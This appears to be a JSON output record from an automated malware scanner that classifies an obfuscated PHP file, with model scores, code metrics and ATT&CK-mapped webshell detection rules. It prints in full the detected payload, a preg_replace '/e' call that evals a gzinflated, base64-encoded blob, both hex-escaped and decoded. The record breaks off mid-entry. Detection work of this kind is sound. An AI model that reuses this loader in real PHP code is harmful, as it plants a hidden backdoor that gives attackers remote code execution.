{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.999988317489624, "class": 2 } ], "prob": 0.9999883, "class": 2, "models": [ { "m": "az", "prob": 0.9969421, "class": 1 }, { "m": "az/scripts", "prob": 0.99997306, "class": 2 }, { "m": "az/php", "prob": 0.9999883, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-09T20:38:18Z" }, "path": "cf24af7fce2b3aef4a9510ae2ded4c66", "raw": { "v": "4", "fs": [ { "f": "O₂(As₂C₂)H(Po)Md₂(Pt)Th", "k": { "source.imports[0]": "preg_replace", "source.strings[0]": "\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x34\\x5F\\x64\\x65\\x63\\x6F\\x64\\x65\\x28'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'\\x29\\x29\\x29\\x3B", "source.strings[1]": "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", "source.strings[2]": "preg_replace(\"/.*/e\",\"eval(gzinflate(base64_decode('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')));\",\"\");", "source.has_imports": true }, "x": 331, "id": 0, "is": [ "preg_replace" ], "ms": { "file": { "size": 4647.0 }, "text": { "digit_ratio": 0.2, "total_lines": 3.0, "char_entropy": 6.02, "unique_chars": 79.0, "escape_density": 0.71, "import_density": 33.33, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 1.33, "avg_line_length": 1548.33, "lines_over_1000": 1.0, "max_line_length": 4638.0, "hex_escape_count": 33.0, "last_line_length": 2.0, "long_token_count": 1.0, "most_common_char": "x", "whitespace_ratio": 0.0, "most_common_ratio": 0.02, "identifier_density": 0.33, "line_length_stddev": 2184.72, "encoded_string_ratio": 0.25, "normalized_import_count": 0.58, "normalized_string_count": 2.31, "normalized_unique_identifiers": 0.63 }, "imports": { "total": 1.0, "unique_modules": 1.0, "third_party_count": 1.0, "third_party_ratio": 1.0 }, "strings": { "total": 4.0, "avg_length": 2274.0, "max_length": 4610.0, "path_count": 2.0, "avg_entropy": 3.95, "total_bytes": 9096.0, "entropy_stddev": 2.03, "base64_candidates": 1.0, "very_long_strings": 2.0, "high_entropy_count": 2.0, "unicode_heavy_strings": 1.0 }, "comments": {}, "functions": {}, "identifiers": { "total": 1.0, "avg_length": 12.0, "max_length": 12.0, "min_length": 12.0, "avg_entropy": 2.86, "reuse_ratio": 1.0, "unique_count": 1.0, "all_lowercase_ratio": 1.0 } }, "ss": [ [ 19, "/.*/e" ], [ 20, "/.*/e" ], [ 27, "\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x34\\x5F\\x64\\x65\\x63\\x6F\\x64\\x65\\x28'lZrdiuTKEYT" ], [ 144, "lZrdiuTKEYTvDX6HZdkL++bQUv1JLH6TvlH39MAB4+WAMfv4VkZ9UaUZm4Vz0cx0t1SVlRkZGZnqbz+f6/7H9uXLb//48vX+s93O13r/Wcv5avef5X2+j+/q83wt5yv1" ], [ 6, "unicode-escape", "preg_replace(\"/.*/e\",\"eval(gzinflate(base64_decode('lZrdiuTKEYTvDX6HZdkL++bQUv1JLH6TvlH39MAB4+WAMfv4VkZ9UaUZm4Vz0cx0t1SVlRkZGZnq" ] ], "sz": 4647, "ts": [ { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 4638.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "c": 0.800000011920929, "d": "Very short file (under 12 lines)", "e": [ "text.total_lines = 3.00" ], "i": "metadata/file/text/metrics::file-under-12-lines", "l": 1 }, { "a": "T1505.003", "c": 0.8399999737739563, "d": "Near-zero whitespace script", "e": [ "text.whitespace_ratio = 0.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace", "l": 1 }, { "a": "T1027", "c": 0.9200000166893005, "d": "Hex escaped PHP danger keywords", "e": [ "\\x65\\x76\\x61\\x6C" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::escaped-hex-dangerous-php", "l": 4, "m": "B0030" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Exactly one line exceeds 1000 chars", "e": [ "text.lines_over_1000 = 1.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier", "l": 1, "m": "B0032" }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Very long embedded string", "e": [ 